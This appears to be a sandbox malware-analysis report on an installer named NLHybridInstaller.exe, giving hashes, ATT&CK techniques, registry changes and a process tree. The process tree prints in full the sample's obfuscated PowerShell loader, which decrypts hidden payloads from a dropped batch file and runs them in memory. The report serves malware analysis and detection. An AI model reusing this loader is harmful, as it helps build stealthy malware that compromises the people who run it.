c5fc6ccc1b183c14888a0a832a52ea7ee37efa0e84f6712aae56101c48da983e

General

Target

NLHybridInstaller.exe
Size

2.0MB
MD5

cf7734eb96e90bb9beb67c4cea3c3c2c
SHA1

1695cc75145439634e1beb3b6b568096f0474239
SHA256

c5fc6ccc1b183c14888a0a832a52ea7ee37efa0e84f6712aae56101c48da983e
SHA512

338ec39d7146e5451acdf563db88df0affda014f67a0fcd012b8e3e3b7a7aa97dc485a3bc2d31dac23d7cac286d7341a34ddd3ac7f1d6d78d5277e2ee6b1132a
SSDEEP

24576:HawwKusHwEwSDMn64+uT361idUSeMITCqgcfyr4Py6K22i+i8rtVs1ZY7jQY71M:XwREDDMcuT36AdHeMxWrP+beY7UY71M

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1716	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1992	NLHybridInstaller.tmp

Loads dropped DLL 1 IoCs

pid	Process
1916	NLHybridInstaller.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NLHybridInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NLHybridInstaller.tmp

Modifies registry class 15 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.myp\OpenWithProgids\NLHybridFixerFile.myp	NLHybridInstaller.tmp
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\NLHybrid Fixer\\NLHybrid Fixer.bat,0"	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell\open\command	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\DefaultIcon	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.myp\OpenWithProgids	NLHybridInstaller.tmp
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\ = "NLHybrid Fixer File"	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell\open	NLHybridInstaller.tmp
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications\NLHybrid Fixer.bat\SupportedTypes\.myp	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications\NLHybrid Fixer.bat\SupportedTypes	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Applications\NLHybrid Fixer.bat	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.myp	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp	NLHybridInstaller.tmp
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell	NLHybridInstaller.tmp
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\NLHybridFixerFile.myp\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\NLHybrid Fixer\\NLHybrid Fixer.bat\" \"%1\""	NLHybridInstaller.tmp

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1992	NLHybridInstaller.tmp

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1916 wrote to memory of 1992	1916	NLHybridInstaller.exe	31
PID 1992 wrote to memory of 1060	1992	NLHybridInstaller.tmp	33
PID 1992 wrote to memory of 1060	1992	NLHybridInstaller.tmp	33
PID 1992 wrote to memory of 1060	1992	NLHybridInstaller.tmp	33
PID 1992 wrote to memory of 1060	1992	NLHybridInstaller.tmp	33
PID 1060 wrote to memory of 1716	1060	cmd.exe	35
PID 1060 wrote to memory of 1716	1060	cmd.exe	35
PID 1060 wrote to memory of 1716	1060	cmd.exe	35
PID 1060 wrote to memory of 1716	1060	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp" /SL5="$4010A,1111535,845824,C:\Users\Admin\AppData\Local\Temp\NLHybridInstaller.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SxaOcu592pxjx2riZwLLzxifbSL4LVKOvKdWGmoFwo8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KCSLz1jpgN1BDTd1TxKBLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uCgKb=New-Object System.IO.MemoryStream(,$param_var); $hRDfQ=New-Object System.IO.MemoryStream; $hqAUw=New-Object System.IO.Compression.GZipStream($uCgKb, [IO.Compression.CompressionMode]::Decompress); $hqAUw.CopyTo($hRDfQ); $hqAUw.Dispose(); $uCgKb.Dispose(); $hRDfQ.Dispose(); $hRDfQ.ToArray();}function execute_function($param_var,$param2_var){ $btbYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oUuFp=$btbYa.EntryPoint; $oUuFp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat';$rzvJC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($zlWxg in $rzvJC) { if ($zlWxg.StartsWith(':: ')) { $guGBs=$zlWxg.Substring(3); break; }}$payloads_var=[string[]]$guGBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\NLHybrid Fixer.bat

Filesize
355KB

MD5
05752d236dc924a1e10ba6e6081b5302

SHA1
8a85b3864b64ff001b10ab957ddef96caa05fbc7

SHA256
f280c213d2bb0de32863411882ef3ebde4db0905850e09ad921563369d9e1d66

SHA512
81991e5aa0ebd2a54f33622f1be283b96e0343c78cb15f1595db1418dd28d2a3435120ee268b8bb7bca26592a9bfaa3bd514c8dd3d6a793eaf6979b86ac631f0

Download Submit
\Users\Admin\AppData\Local\Temp\is-K2PMD.tmp\NLHybridInstaller.tmp

Filesize
3.2MB

MD5
c31db43de7031d003d528c81517a3958

SHA1
05d86b48e6873d561e484c134c2e99d6df7215ed

SHA256
0d4ee23a50876177908a4f2cd1a4aa4e68e700b059be3c535cd22ca6c5132f82

SHA512
dab6939cd0437ded9609d031a618dcb9c92a46b21ac2f97d1c196c852d983f4f1ea54caebb0ca8f09813f7ef9da03d25b502a2429f20300932f57a2923c3135a

Download Submit
memory/1916-0-0x0000000001120000-0x00000000011FC000-memory.dmp

Filesize
880KB

Download
memory/1916-2-0x0000000001121000-0x00000000011C9000-memory.dmp

Filesize
672KB

Download
memory/1916-10-0x0000000001120000-0x00000000011FC000-memory.dmp

Filesize
880KB

Download
memory/1916-35-0x0000000001120000-0x00000000011FC000-memory.dmp

Filesize
880KB

Download
memory/1992-8-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1992-12-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1992-11-0x0000000000220000-0x0000000000563000-memory.dmp

Filesize
3.3MB

Download
memory/1992-14-0x0000000000220000-0x0000000000563000-memory.dmp

Filesize
3.3MB

Download
memory/1992-24-0x0000000000220000-0x0000000000563000-memory.dmp

Filesize
3.3MB

Download
memory/1992-33-0x0000000000220000-0x0000000000563000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing